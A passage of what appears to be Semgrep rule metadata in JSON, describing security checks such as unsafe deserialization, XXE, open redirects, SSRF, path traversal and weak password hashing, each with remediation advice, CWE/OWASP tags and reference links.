[https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal","id":"python.lang.deserialization.tainted-marshal.tainted-marshal","name":"python.lang.deserialization.tainted-marshal.tainted-marshal","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-marshal.tainted-marshal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","id":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","name":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","id":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","name":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","id":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","name":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"help":{"markdown":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public)\n - [https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html](https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html)\n","text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","id":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","name":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference](https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","id":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","name":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"help":{"markdown":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","id":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","name":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","id":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","name":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse](https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","id":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","name":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"help":{"markdown":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","id":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","name":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf","id":"csharp.lang.security.ssrf.rest-client.ssrf","name":"csharp.lang.security.ssrf.rest-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.rest-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n - [https://www.npmjs.com/package/got](https://www.npmjs.com/package/got)\n - [https://www.npmjs.com/package/node-rest-client](https://www.npmjs.com/package/node-rest-client)\n","text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","id":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","name":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with 